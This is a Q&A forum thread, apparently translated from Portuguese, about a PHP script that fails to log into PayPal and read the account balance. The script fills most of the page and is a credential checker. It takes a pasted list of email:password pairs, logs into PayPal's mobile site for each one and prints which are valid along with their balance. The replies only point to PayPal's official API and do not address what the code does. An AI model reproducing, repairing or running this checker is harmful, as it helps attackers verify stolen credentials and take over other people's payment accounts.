Login to Paypal

2

I'm trying to log into Paypal and get the value of the account balance, but to no avail.

My code:

<?php
include ("curl.php");
$fp=fopen("fpaypal","w");
fwrite($fp, "");
fclose($fp);
$curl = new curl;
if(isset($_POST['txt']))
{
        $logins=array_values(array_unique(explode("\n",stripslashes($_POST['txt']))));
        foreach($logins as $login)
        {
                flush();
                $fp=fopen("fpaypal","w");
                fwrite($fp, "");
                fclose($fp);
                list($email,$senha)=explode(":",$login);
                $email = trim(str_replace(Array("\n", "\r"), "",$email));
                $senha = trim(str_replace(Array("\n", "\r"), "",$senha));
                $curl->open("GET", "https://mobile.paypal.com/pt-br/cgi-bin/wapapp?cmd=_sm");
                $curl->cookie_file = 'fpaypal';
                $curl->exec();
                preg_match('/CONTEXT=(.+?)\&amp;SESSION=(.+?)\&amp;/i',$curl->responseText,$context);
                $curl->open("GET", "https://mobile.paypal.com/br/cgi-bin/wapapp?cmd=_flow&CONTEXT={$context[1]}&SESSION={$context[2]}&view_balance.x=");
                $curl->cookie_file = 'fpaypal';
                $curl->exec();
                preg_match('/name="CONTEXT" value="(.+?)"/i',$curl->responseText, $CONTEXT);
                preg_match('/name="Entrar" action="(.+?)"/i',$curl->responseText,$ACT);
                $ACT=str_replace("amp;", "",$ACT[1]);
                preg_match('/dispatch=(.+?)\"/i',$curl->responseText,$dispatch);
                $curl->open("POST",  $ACT);
                $curl->referer = "https://mobile.paypal.com/br/cgi-bin/wapapp?cmd=_flow&CONTEXT={$context[1]}&SESSION={$context[2]}&view_balance.x=";
                $curl->postData = "CONTEXT={$CONTEXT[1]}&login_email=".rawurlencode(utf8_encode($email))."&login_password=".rawurlencode(utf8_encode($senha))."&login.x=Entrar";
                $curl->cookie_file = 'fpaypal';
                $curl->exec();

                if(preg_match('/<\/h4>.+?([0-9.,]+)/i',$curl->responseText,$saldo)&&!preg_match('/method="post" name="Entrar"/i',$curl->responseText))
                {
                        flush();
                        echo "$email:$senha - <font color=green>VALIDO</font> - Possui saldo de $".$saldo[1]."<br/>";
                }
                else
                {
                        flush();
                        echo "$email - <font color=red>INVALIDO</font><br/>";
                }
                ob_flush();
                flush();
        }
}
else
{
        echo "<form method=POST>
        <center>
        Logins:Senha: <br/>
        <textarea name='txt' cols=53 rows=16>login:senha
login:senha</textarea><br>
        <input type=submit value=Testar!>
        </form></center>";
}
?>
    
asked by anonymous 22.04.2014 / 02:01

3 answers

1

I've never used the PayPal API , and since I do not have a PayPal account, I do not even know if the code works. I believe when you see this this example using this class will be able to develop its own code for authentication. I'm sorry I could not help you the way I wanted.

    
23.04.2014 / 22:35
0

Why do not you use the Paypal API ?

She has her documentation in Portuguese too. I'm sure this way you will successfully connect.

    
23.04.2014 / 19:15
0

Hello, I recommend that you use the Brazilian API, because depending on what exactly you intend to do with this flow, it may not work in Brazil, because some tools developed by PayPal are not yet available in Brazil. >

Maybe if you explain better, which type of payment stream you're trying to use, it makes it easier to help you.

    
09.12.2015 / 14:50